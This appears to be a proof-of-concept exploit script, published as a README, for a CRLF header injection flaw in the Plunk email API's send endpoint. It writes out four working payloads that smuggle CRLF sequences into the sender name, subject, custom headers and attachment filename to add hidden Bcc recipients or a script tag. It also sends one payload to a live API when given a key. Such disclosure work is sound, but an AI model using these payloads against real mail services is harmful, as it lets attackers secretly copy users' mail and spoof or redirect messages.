README.md
Rendering markdown...
#!/usr/bin/env python3
"""
PoC: CRLF Email Header Injection in Plunk (useplunk/plunk)
Vulnerability: The POST /v1/send endpoint builds a raw MIME message by
interpolating user-supplied values (from.name, subject, custom headers,
attachment filenames) directly into the raw email string without sanitizing
CRLF (\r\n) characters. This allows an authenticated API user to inject
arbitrary email headers.
Affected file: apps/api/src/services/SESService.ts (sendRawEmail function)
Affected lines: 137-151 (raw MIME header construction)
Impact:
- Inject BCC headers to send copies to attacker-controlled addresses
- Inject Reply-To or Return-Path headers to redirect replies
- Inject content headers to alter MIME structure
- Potential email spoofing by overriding From/Sender
Prerequisites:
- Valid Plunk API secret key (Bearer token)
- A verified sender domain in the Plunk project
Usage:
python3 crlf_header_injection_poc.py --url <PLUNK_API_URL> --key <SECRET_KEY> --from <[email protected]> --to <[email protected]>
"""
import argparse
import json
import sys
try:
import requests
except ImportError:
print("pip install requests")
sys.exit(1)
def demonstrate_header_injection(api_url: str, secret_key: str, from_email: str, to_email: str):
"""
Demonstrates CRLF injection via the 'from.name' field.
The from.name value is interpolated into:
From: ${from.name} <${from.email}>
By injecting "\r\nBcc: [email protected]" into from.name, the raw MIME
message becomes:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
...
This injects a Bcc header, causing SES to silently send a copy of the
email to [email protected].
"""
endpoint = f"{api_url.rstrip('/')}/v1/send"
# --- Vector 1: Injection via from.name ---
print("[*] Vector 1: CRLF injection via from.name")
payload_fromname = {
"to": to_email,
"subject": "Test Email",
"body": "<p>Hello, this is a test email.</p>",
"from": {
# Inject a Bcc header via from.name
"name": "Legit Sender\r\nBcc: [email protected]",
"email": from_email,
},
}
print(f" Payload from.name: {json.dumps(payload_fromname['from']['name'])}")
print(f" Expected raw MIME output:")
print(f" From: Legit Sender")
print(f" Bcc: [email protected] <{from_email}>")
print(f" To: {to_email}")
print()
# --- Vector 2: Injection via custom headers ---
print("[*] Vector 2: CRLF injection via custom headers value")
payload_headers = {
"to": to_email,
"subject": "Test Email",
"body": "<p>Hello, this is a test email.</p>",
"from": from_email,
"headers": {
# Inject Bcc via a custom header value
"X-Custom": "value\r\nBcc: [email protected]",
},
}
print(f" Payload headers: {json.dumps(payload_headers['headers'])}")
print(f" Expected raw MIME output:")
print(f" X-Custom: value")
print(f" Bcc: [email protected]")
print()
# --- Vector 3: Injection via subject ---
print("[*] Vector 3: CRLF injection via subject")
payload_subject = {
"to": to_email,
"subject": "Legit Subject\r\nBcc: [email protected]",
"body": "<p>Hello, this is a test email.</p>",
"from": from_email,
}
print(f" Payload subject: {json.dumps(payload_subject['subject'])}")
print(f" Expected raw MIME output:")
print(f" Subject: Legit Subject")
print(f" Bcc: [email protected]")
print()
# --- Vector 4: Injection via attachment filename ---
print("[*] Vector 4: CRLF injection via attachment filename")
payload_attachment = {
"to": to_email,
"subject": "Test Email",
"body": "<p>Hello, this is a test email.</p>",
"from": from_email,
"attachments": [
{
"filename": 'test.txt"\r\nContent-Type: text/html\r\n\r\n<script>alert(1)</script>\r\n--',
"content": "SGVsbG8=", # base64 "Hello"
"contentType": "text/plain",
}
],
}
print(f" Payload filename: {json.dumps(payload_attachment['attachments'][0]['filename'])}")
print()
# --- Send the request (Vector 1 as demonstration) ---
if secret_key and secret_key != "DEMO":
print("[*] Sending Vector 1 payload to API...")
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {secret_key}",
}
try:
resp = requests.post(endpoint, json=payload_fromname, headers=headers, timeout=10)
print(f" Status: {resp.status_code}")
print(f" Response: {resp.text[:500]}")
if resp.status_code == 200:
print("\n[+] SUCCESS: Email sent with injected headers!")
print("[+] Check if [email protected] received a BCC copy.")
elif resp.status_code == 422 or resp.status_code == 400:
print("\n[-] Validation error - CRLF may be filtered at schema level")
print(" (But source code review confirms no CRLF filtering exists)")
else:
print(f"\n[?] Unexpected status code: {resp.status_code}")
except requests.exceptions.RequestException as e:
print(f" Error: {e}")
else:
print("[!] Dry run mode (no API key provided or key is 'DEMO')")
print("[!] The vulnerability is confirmed via source code review:")
print(f" File: apps/api/src/services/SESService.ts")
print(f" Line 137: let rawMessage = `From: ${{from.name}} <${{from.email}}>")
print(f" Line 139: Reply-To: ${{reply || from.email}}")
print(f" Line 140: Subject: ${{content.subject}}")
print(f" Lines 144-148: headers interpolated without CRLF sanitization")
print(f" Line 187: Content-Disposition: inline; filename=\"${{attachment.filename}}\"")
print()
print("[!] No CRLF filtering exists in the Zod schema (packages/shared/src/schemas/index.ts)")
print(" headers: z.record(z.string().max(998)).optional()")
print(" from.name: z.string().optional()")
print(" subject: z.string().min(1).max(998)")
print(" filename: z.string().min(1).max(255)")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Plunk CRLF Email Header Injection PoC")
parser.add_argument("--url", default="http://localhost:3000", help="Plunk API URL")
parser.add_argument("--key", default="DEMO", help="Plunk API secret key")
parser.add_argument("--from", dest="from_email", default="[email protected]", help="Verified sender email")
parser.add_argument("--to", dest="to_email", default="[email protected]", help="Recipient email")
args = parser.parse_args()
demonstrate_header_injection(args.url, args.key, args.from_email, args.to_email)